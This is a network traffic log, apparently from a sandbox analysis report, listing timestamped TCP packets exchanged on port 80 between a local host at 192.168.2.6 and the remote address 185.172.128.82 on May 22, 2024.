May 22, 2024 20:06:32.471056938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471071005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471084118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471102953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471110106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471128941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471138000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471157074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471163988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471180916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471188068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471204042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471215010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471239090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471246004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471256018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471270084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471278906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471295118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471311092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471321106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471332073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471348047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471357107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471371889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471386909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471394062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471409082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471420050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471429110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471446037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471455097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471472025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471481085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471498966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471508026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471524954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471538067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471553087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471568108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471585989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471606016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471622944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471633911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471654892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471663952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471679926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471699953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471708059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471728086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471738100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471755028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471769094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471777916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471795082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471807957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471827984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.513391018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513497114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.513535976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513583899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513612032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.513648987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.513673067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513719082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513762951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513789892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.513837099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.513864040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513911009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.513966084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.513991117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514044046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514058113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514096022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514137030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514183044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514204025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514241934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514266968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514312983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514352083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514399052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514441967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514517069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514534950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514565945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514601946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514621973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514682055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514728069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514760017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514790058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514812946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514861107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514904022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.514923096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514951944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.514981031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515026093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515049934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515074968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515105009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515147924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515168905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515202045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515228987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515275002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515291929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515338898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515362978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515386105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515417099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515465021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515480995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515525103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515568018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515588999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515630007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515652895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515696049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515722990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515769958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515808105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515840054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515853882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515897989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515940905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.515964985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.515983105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516019106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516063929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516107082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516130924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516155005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516184092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516223907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516273975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516288042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516318083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516346931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516393900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516410112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516455889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516482115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516515970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516530037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516570091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516614914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516638994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516663074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516690016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516741991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516756058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516798973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516823053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516855001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516882896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516935110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.516949892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.516988993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517009020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517056942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517076015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517121077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517146111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517170906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517194986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517242908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517258883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517302990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517322063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517369032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517415047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517437935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517462015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.517491102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517537117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.517591000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.518435001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.522547960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.545140028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545275927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545335054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545423031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545514107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545546055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.545546055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.545588017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.545660019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545722008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545789957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545814037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.545895100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545954943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.545988083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546021938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546066046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546125889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546194077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546236992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546297073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546365023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546380997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546421051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546468973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546566963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546633005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546674967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546737909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546799898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546825886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546878099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.546920061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.546983004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547040939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547068119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547126055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547183037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547204018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547271013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547338963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547353983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547391891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547430038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547487974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547544956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547565937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547626972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547693968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547719955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547777891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547795057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547838926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547883034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.547907114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547930956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.547960043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.548003912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.548054934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.548068047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.548110008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.548156023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.550005913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.550028086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.550050974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.550093889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.602443933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.602533102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.602605104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.602636099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.602677107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.602696896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.602740049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.602803946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.602850914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.602875948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.602905989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.602948904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603003025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603018045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603070021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603096008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603142023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603167057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603192091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603236914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603281975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603302956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603336096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603363037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603415966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603445053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603501081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603523970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603568077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603610039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603636026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603660107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603689909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603740931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603755951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603801966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603846073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603869915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603893042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603921890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.603971004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.603987932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604034901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604051113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604094982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604115963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604147911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604176998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604221106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604244947 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604269028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604319096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604372025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604387045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604423046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604448080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604491949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604515076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604551077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604594946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604618073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604643106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604692936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604742050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604844093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604899883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604914904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.604964018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.604979992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605024099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605047941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605071068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605098963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605144024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605166912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605201960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605223894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605268955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605288982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605330944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605349064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605400085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605413914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605451107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605473995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605519056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605539083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605580091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605598927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605643988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605696917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605710983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605751991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605798006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605820894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605845928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.605876923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605925083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605967999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.605992079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.606031895 CEST	80	49708	185.172.128.82	192.168.2.6
